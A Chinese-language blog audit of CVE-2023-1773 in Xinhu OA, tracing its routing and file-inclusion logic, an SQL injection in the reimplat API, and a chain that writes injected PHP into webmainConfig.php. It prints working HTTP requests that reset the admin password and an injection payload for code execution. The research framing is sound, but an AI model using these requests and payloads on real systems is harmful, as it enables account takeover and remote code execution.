2023/12/25:一次审计尝试CVE-2023-1773

感谢土豆分享

参考:信呼oa命令执行分析分析(CVE-2023-1773) (qq.com)

信呼OA在2.3.3版本之前存在代码注入漏洞。该漏洞影响到组件配置文件处理程序的webmainConfig.php文件的代码。篡改导致代码注入。

首先当然是先搭好框架,默认登录可以用admin/123456

文件分析

/src/index.php

这里是主程序入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
/**
* 系统主要入口
* 主页:http://www.rockoa.com/
* 软件:信呼
* 作者:雨中磐石(rainrock)
*/
include_once('config/config.php');//包含了config文件
$_uurl = $rock->get('rewriteurl');
//跟踪到get方法底下,只传递了一个参数
//public function get($name,$dev='', $lx=0)
//可以获得$GET[$name],也就是所有调用get()方法的地方都可以GET传参赋值
//进行字符串解密 转换 xss过滤等操作
$d = '';
$m = 'index';
$a = 'default';
//设置了3个变量的值,用途暂时不知道

if($_uurl != ''){
unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);//销毁变量的关键字 释放该变量的内存,并且后续对该变量的引用将不再有效
$m = $_uurl;
$_uurla = explode('_', $_uurl);
//使用_分割了变量,在下面赋值
if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
$_uurla = explode('?',$_SERVER['REQUEST_URI']);
if(isset($_uurla[1])){
$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
$_uurlasa = explode('=', $_uurlas);
if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
}
}
}else{
$m = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
}
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);
//主要功能就是在给m d a ajaxbool mode赋值,在后面用到
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');

/src/config/config.php

主要就是定义了不少常量,包含了3个文件

/src/include/View.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;
//跟进到config.php里
//if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));
//p也是可控的
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
//index.php定义的3变量在这里用到了
define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

$_m = $m;
if($rock->contain($m, '|')){
$_mas = explode('|', $m);//|分割$m
$m = $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//strformat最后会替换字符串中的占位符 ?0, ?1
//在这里,会替换为"ROOT_PATH/".$p."/".$p."Action.php"
//ROOT_PATH见config.php
$rand = date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg = '';
$methodbool = true;

$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
//包含了文件路径,能控制文件路径$p提供了包含的可能

/*
以ROOT_PATH=/var/www/html为例
传入?a=homedata&m=mode_bianjian|input&d=flow
$actpath=/var/www/html/webmain/flow/input
$actfile=/var/www/html/webmain/flow/input/mode_bianjianAction.php
$actfile1=/var/www/html/webmain/flow/input/inputAction.php
*/

$actbstr = null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
$clsname = ''.$m.'ClassAction';//默认indexClassAction 不一定是这个
//可以通过m的拼接来选择要调用的类
$xhrock = new $clsname();
$actname = ''.$a.'Action';
//这里可以控制要调用的方法
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
//ajaxbool为真时改变调用的方法
if(method_exists($xhrock, $actname)){//检测当前类有没有这个方法
$xhrock->beforeAction();
//Action.php下有这个方法,Action.php相当于抽象类,由不同的类实现这个方法
$actbstr = $xhrock->$actname();
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
$xhrock->afterAction();
}else{
echo 'actionfile not exists;';
$xhrock = new Action();
}

$_showbool = false;
//以下主要进行模板渲染
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){
$xhrock->smartydata['p'] = $p;//smartydata模板数据
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;
$xhrock->smartydata['qom'] = QOM;
$xhrock->smartydata['path'] = PATH;
$xhrock->smartydata['sysurl']= SYSURL;
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.''.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
if(!file_exists($mpathname) || !$methodbool){
if(!$methodbool){
$errormsg = 'in ('.$m.') not found Method('.$a.');';
}else{
$errormsg = ''.$tplname.' not exists;';
}
echo $errormsg;
}else{
$_showbool = true;
}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}

利用尝试

由以上可知,可以通过$m$a$p$p控制被包含文件的路径,看起来有两个选择:$actfile$actfile1

不过很显然只能选择actfile,原因如下:

1.

1
$actfile1	= $rock->strformat('?0/?1Action.php',$actpath, $_m);

这个变量由$_m拼接,会有类似$actfile1=/var/www/html/webmain/flow/input/inputAction.php的结果,即要求文件名下同名php文件,选择面太小了

2.查看actfile1的用法,其用法为:

1
if(file_exists($actfile1))include_once($actfile1);

而对于actfile可以在下面的代码通过控制$a$ajaxbool来控制想要的方法

漏洞分析

配置文件写入

在cogAction.php的savecongAjax()有文件写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
if (isset($this->adminname)) {//这里读取了adminname,修改了配置文件
$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';
}
@$bo = file_put_contents($_confpath, $str);
//$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT); 默认写入webmainConfig.php中
if($bo){
echo 'ok';
}else{
echo '保存失败无法写入:'.$_confpath.'';
}
...

注意到$this->adminname,此字段会从数据库中取admin的name

SQL注入

reimplatAction.php有sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
...
$body = $this->getpostdata();
//用$GLOBALS['HTTP_RAW_POST_DATA']传值
//PHP 中用于获取原始的 POST 数据的全局变量
if(!$body)return;
$db = m('reimplat:dept');
//最终/model/reimplat/deptModel.php
$key = $db->gethkey();
//返回md5($key)

//$ss = $this->jm->strlook($body,$key);
//echo $ss;

$bodystr = $this->jm->strunlook($body, $key);
//strunlook 字符串解密
//strlook 加密
//加密方式是用key与data变换后再base64

//echo $bodystr;

if(!$bodystr)return;

$data = json_decode($bodystr, true);
$msgtype = arrvalue($data,'msgtype');//获得json中这个字段的值
$msgevent= arrvalue($data,'msgevent');
...
//修改手机号
if($msgtype=='editmobile'){
$user = arrvalue($data, 'user');//数组里读取变量
$mobile = arrvalue($data, 'mobile');
$where = "`user`='$user'";
$upstr = "`mobile`='$mobile'";
$db->update($upstr, $where);
$dbs = m('admin');
//包含adminClassModel
$dbs->update($upstr,$where);
$uid = $dbs->getmou('id',$where);
m('userinfo')->update($upstr,"`id`='$uid'");
}
...

对于m()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function m($name)
{
$cls = NULL;
$pats = $nac = '';
$nas = $name;
$asq = explode(':', $nas);
if(count($asq)>1){
$nas = $asq[1];
$nac = $asq[0];
$pats = $nac.'/';
$_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';
if(file_exists($_pats)){
include_once($_pats);
$class = ''.$nac.'Model';
$cls = new $class($nas);
}
}
$class = ''.$nas.'ClassModel';
$path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';
if(file_exists($path)){//文件包含
include_once($path);
if($nac!='')$class= $nac.'_'.$class;
$cls = new $class($nas);
}
if($cls==NULL)$cls = new sModel($nas);
return $cls;
}

漏洞尝试

sql+文件包含更改管理员密码

当尝试发起这个请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d1c9sos9brock9tm7q1n9oitl4; deviceid=1703843683765; xinhu_mo_adminid=wrw0gw0pg0wwg0ag0wwr0gx0wlw0aa0pw0wrr0wrx0gh0hg0gk0ph013; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

{"msgtype":"editpass","user":"admin","pass":"666"}

返回了(这里在reimplatAction.php下添加了echo语句输出了加密解密结果):

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 29 Dec 2023 10:56:07 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:6��f_;�1��O��Bnm{��u

再发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d1c9sos9brock9tm7q1n9oitl4; deviceid=1703843683765; xinhu_mo_adminid=wrw0gw0pg0wwg0ag0wwr0gx0wlw0aa0pw0wrr0wrx0gh0hg0gk0ph013; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0

31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y

再重新登录,会发现密码修改成功

第一个请求发包传参,会让view.php包含文件,包含了/var/www/html/webmain/task/api/reimplatAction.php,调用了indexAction方法,传递了json,这个json会被reimplatAction.php处理,由于做了以下处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$body = $this->getpostdata();
if(!$body)return;
$db = m('reimplat:dept');
$key = $db->gethkey();

$ss = $this->jm->strlook($body,$key);
echo $ss;

$bodystr = $this->jm->strunlook($body, $key);
//strunlook 字符串解密
//strlook 加密

echo $bodystr;

if(!$bodystr)return;

返回了json经过strlook加密的31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y和strunlook解密的值

第二个请求把31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y作为json发送,正常解密为{"msgtype":"editpass","user":"admin","pass":"666"},该文件接受到msgtype参数值为editpass,调用如下代码:

1
2
3
4
5
6
7
8
9
10
//修改密码
if($msgtype=='editpass'){
$user = arrvalue($data, 'user');//读取admin的值
$pass = arrvalue($data, 'pass');//读取pass的值
if($pass && $user){
$where = "`user`='$user'";
$mima = md5($pass);
m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);//传递给数据库更新信息
}
}

sql+文件包含实现代码执行

要注入的地点:

1
2
3
4
5
6
7
8
9
...//cogAction.php
if (isset($this->adminname)) {//这里读取了adminname,修改了配置文件
$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';
...

查看this->name:

1
$this->adminname	= $this->getsession('adminname');

是从session中获得的

session又需要从数据库获得数据,要先将name注入到数据库中

选择代码:

1
\nphpinfo();//

此代码输出时会输出回车绕过注释

如上,选择如下代码注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
if($msgtype=='editmobile'){
$user = arrvalue($data, 'user');//数组里读取变量
$mobile = arrvalue($data, 'mobile');
$where = "`user`='$user'";
$upstr = "`mobile`='$mobile'";
$db->update($upstr, $where);
$dbs = m('admin');
$dbs->update($upstr,$where);
$uid = $dbs->getmou('id',$where);
m('userinfo')->update($upstr,"`id`='$uid'");

}
...

设置json的值为:{"msgtype":"editmobile","user":"admin","mobile":"1',name='\nphpinfo();//"}

会拼接成为:

1
m('userinfo')->update("`mobile`='1',name='\nphpinfo();//","`id`='$uid'");

跟踪update函数,最终来到mysql.php下的record():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function record($table,$array,$where='')
{
//上面的update中第一个参数被视为$array
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
if($addbool){
$sql="insert into `$table` set $cont";
}else{
$where = $this->getwhere($where);
$sql="update `$table` set $cont where $where";
}
return $this->tranbegin($sql);
}

这里完成sql语句拼接,将代码注入数据库

这里显示成功注入

需要重新登录(随便哪个账号)更新session

最后文件包含/var/www/html/webmain/system/cog/cogAction.php,执行session的写入

当webmainConfig.php被成功写入时就完成了

注意payload有长度限制